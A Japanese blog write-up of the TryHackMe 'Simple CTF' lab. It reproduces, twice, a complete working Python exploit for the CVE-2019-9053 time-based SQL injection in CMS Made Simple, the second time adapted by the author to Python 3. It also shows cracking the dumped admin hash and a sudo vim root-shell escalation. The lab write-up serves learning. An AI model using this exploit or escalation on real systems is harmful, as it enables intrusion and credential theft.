【CVE-2019-9053】CMS Made SimpleのSQLインジェクションの脆弱性を利用して、ハッキングしてみた!(Python3) TryHackMe Simple CTF Writeup

【CVE-2019-9053】CMS Made SimpleのSQLインジェクションの脆弱性を利用して、ハッキングしてみた!(Python3) TryHackMe Simple CTF Writeup
  • URLをコピーしました!

今回は、CVE-2019-9053:CMS Made SimpleのSQLインジェクションの脆弱性を利用してターゲットマシンに侵入し、特権昇格までやってみます。
ターゲットマシンは、「TryHackMe-Simple CTF:https://tryhackme.com/room/easyctf」を利用します。

解説は、ネタバレになりますので、注意してください。

おすすめの参考書
著:IPUSIRON
¥3,850 (2024/11/18 02:10時点 | Amazon調べ)
著:Justin Seitz, 著:Tim Arnold, 監修:萬谷 暢崇, 翻訳:新井 悠, 翻訳:加唐 寛征, 翻訳:村上 涼
¥3,520 (2024/11/18 20:28時点 | Amazon調べ)
目次

Simple CTF(シンプルCTF)

まずは、「Start Machine」を選択して、ターゲットマシンをデプロイしておきます。

下記のようにIP Addressが表示されていればOKです。

How many services are running under port 1000?(ポート 1000 で実行されているサービスはいくつありますか?)

1000番以下のポートで起動されているサービスが何個あるか?と聞かれているので、nmapで調べてみましょう。

  • -sV:サービスとバージョンの検出
  • -sC:デフォルトのスクリプトでスキャンする。
  • -sS:TCP SYNスキャン/TCP ハーフスキャン(接続を完了する際のACKを返さず、SYN RSTを返して接続を完了しないままキャンセルするので、ログに記録されないことが多い)
root@ip-10-10-242-201:~# nmap -sV -sC -sS 10.10.25.17

Starting Nmap 7.60 ( https://nmap.org ) at 2023-05-27 05:28 BST
Nmap scan report for ip-10-10-25-17.eu-west-1.compute.internal (10.10.25.17)
Host is up (0.00036s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.242.201
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (EdDSA)
MAC Address: 02:6B:87:7C:52:A7 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.55 seconds

検出できたサービスは、下記の3つになりますね。

  • 21:ftp
  • 80:http
  • 2222:ssh

Answer

1000番以下で動いているサービスは、2つであることがわかりました。

What is running on the higher port?(上位ポートでは何が実行されているのでしょうか?)

1000番以上のポートでは、何が実行されているかと聞かれているので、先ほどのnmapの結果より、「ssh」であることがわかります。(sshが、22番ではないことに注意してください。)

Answer

What’s the CVE you’re using against the application?(アプリケーションに対して使用しているCVEは何ですか?)

どのような脆弱性があるかと聞かれています。
とりあえず、httpが開いているので、gobusterでどのようなのがあるか見てみましょう。

root@ip-10-10What is running on the higher port?-242-201:~# gobuster dir -e -u http://10.10.25.17 -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.25.17
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Expanded:       true
[+] Timeout:        10s
===============================================================
2023/05/27 05:49:38 Starting gobuster
===============================================================
http://10.10.25.17/.hta (Status: 403)
http://10.10.25.17/.htpasswd (Status: 403)
http://10.10.25.17/.htaccess (Status: 403)
http://10.10.25.17/index.html (Status: 200)
http://10.10.25.17/robots.txt (Status: 200)
http://10.10.25.17/server-status (Status: 403)
http://10.10.25.17/simple (Status: 301)
===============================================================
2023/05/27 05:49:40 Finished
===============================================================

怪しそうなのは、「http://10.10.25.17/simple」ですかね。
すこし見てみます。

「CMS Made Simple version 2.2.8」が動いているようです。
これに対して脆弱性がないか、調べてみます。

CMS Made Simple 2.2.8の脆弱性をExploit DBで検索かけた結果、「cve-2019-9053」が引っ掛かりました。

Answer

To what kind of vulnerability is the application vulnerable?(アプリケーションにはどのような脆弱性がありますか?)

こちらは、CVE-2019-9053の内容をみて、SQLインジェクションであることがわかりました。

Answer

どうやって記載したらいいかわからなかったので、適当ではあります。。。

What’s the password?

パスワードを聞かれているので、Exploit DBに記載の通り実行してみましょう。
pythonのようなので、ファイルをダウンロードしておきます。

root@ip-10-10-242-201:~# wget https://www.exploit-db.com/download/46635 -O exploit.py
--2023-05-27 06:27:37--  https://www.exploit-db.com/download/46635
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6456 (6.3K) [application/txt]
Saving to: \u2018exploit.py\u2019

exploit.py                                 100%[=====================================================================================>]   6.30K  --.-KB/s    in 0s      

2023-05-27 06:27:37 (140 MB/s) - \u2018exploit.py\u2019 saved [6456/6456]

コードの中身はこんな感じです。ここで詳しい説明は省略します。

root@ip-10-10-242-201:~# cat exploit.py
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print "[+] Specify an url target"
    print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
    print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
    print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print "\033c"
    cprint(output,'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print colored("[*] Now try to crack password")
    crack_password()

beautify_print()

私の環境では、python3しか動かないので、少しコードを書き換えます。(python2の場合は不要です。)
print部分とエンコードの部分が修正対象です。

  • print “” ⇒print(“”)
  • open(wordlist) ⇒ open(wordlist, encoding=”utf-8″, errors=”ignore”)
  • hashlib.md5(str(salt) + line).hexdigest() ⇒ hashlib.md5((str(salt) + line).encode(“utf-8”)).hexdigest()
┌──(root㉿kali)-[~]
└─# cat exploit.py       
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print("[+] Specify an url target")
    print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
    print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
    print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist, encoding="utf-8", errors="ignore")
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print ("\033c")
    cprint(output,'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print ("\033c")
    cprint(output,'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print(colored("[*] Now try to crack password"))
    crack_password()

beautify_print()

修正できたので、実行してみましょう。
私は、「rockyou.txt」をルートディレクトリ直下に入れてしまいましたが、ご自身の環境にあるrockyou.txtなどのパスを指定してください。

┌──(root㉿kali)-[~]
└─# python3 exploit.py -u http://10.10.25.17/simple -c -w /root/rockyou.txt
・・・
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
  • Salt:1dac0d92e9fa6bb2
  • Password(ハッシュ):0c01f4468bd75d7a84c7eb73846e8d96
  • Email:admin@admin.com
  • Username:mitch
  • Password(平文):secret

ユーザー名とパスワードが取得できました。

ちなみに、-wを設定すると、saltとpassword hashからパスワードをクラックしてくれます。
hashcatでsaltとpassword hashをクラックしても同様の結果が得られますので、この方法も覚えておくのがいいかなと思います。

┌──(root㉿kali)-[~]
└─# hashcat -O -a 0 -m 20 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /root/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.0+debian  Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: pthread-Intel(R) Xeon(R) CPU E5-2676 v3 @ 2.40GHz, 1441/2946 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 51

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Precompute-Init
* Early-Skip
* Not-Iterated
* Prepended-Salt
* Single-Hash
* Single-Salt
* Raw-Hash

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /root/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 2 secs

0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret  
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 20 (md5($salt.$pass))
Hash.Target......: 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2
Time.Started.....: Sat May 27 07:36:41 2023 (0 secs)
Time.Estimated...: Sat May 27 07:36:41 2023 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (/root/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     8084 H/s (0.20ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 512/14344384 (0.00%)
Rejected.........: 0/512 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> letmein

Started: Sat May 27 07:36:02 2023
Stopped: Sat May 27 07:36:42 2023

Answer

Where can you login with the details obtained?(取得した詳細情報はどこでログインできますか?)

取得したユーザーIDとパスワードは、SSHで利用できます。

Answer

What’s the user flag?

SSHで接続して、ユーザーフラグを取得しましょう。

┌──(root㉿kali)-[~]
└─# ssh mitch@10.10.241.153 -p 2222
The authenticity of host '[10.10.241.153]:2222 ([10.10.241.153]:2222)' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.241.153]:2222' (ED25519) to the list of known hosts.
mitch@10.10.241.153's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ whoami
mitch

SSHでログインは、無事できましたね。
user.txtを見つけることができたと思います。

$ ls
user.txt
$ cat user.txt
G00d j0b, keep up!

Answer

Is there any other user in the home directory? What’s its name?

他にどんなユーザーがいるかということですね。
「/home」配下を見てみましょう。

$ ls /home
mitch  sunbath

sunbathというユーザーがいるようです。

Answer

What can you leverage to spawn a privileged shell?(特権シェルを生成するには何を利用できますか?)

ここからは、権限昇格をしていきます。
とりあえず、現在のユーザーが何を実行できるのか、sudo -lで確認しておきます。

$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

パスワードなしで、「/usr/bin/vim」を利用できるようです。

Answer

What’s the root flag?

vimで特権シェルを取得する方法を、GTFOBinsで探すと、下記が見つかりました。

では、特権シェルを取得しましょう。

$ sudo vim -c ':!/bin/sh'

# whoami
root

特権シェルの取得に成功しました。権限昇格はあっけなかったですね。
ここに、/root配下にroot.txtがあるので、フラグを確認して終わりです。

# cd /root
# ls
root.txt
# cat root.txt
W3ll d0n3. You made it!

Answer

まとめ

今回は、CVE-2019-9053:CMS Made SimpleのSQLインジェクションの脆弱性を利用してターゲットマシンに侵入し、特権昇格までをやってみました。

Simple CTFは、初心者向けというのもあって、一部無理やりなところもありましたが、私でも無理なくできるレベルでよかったかなと思います。

参考文献・サイト

Medium(Skylar):https://medium.com/@skylarphenis/tryhackme-simple-ctf-walk-through-e8bb8c8671a9

よかったらシェアしてね!
  • URLをコピーしました!

この記事を書いた人

情報セキュリティを勉強するために始めたブログです。
新人のため、広い心を持って見ていただけると嬉しく思います。
楽しくプログラミングを勉強するために、「Teech Lab.」もありますので、ソフトウェア開発にも興味があればぜひ覗いて見てください!

目次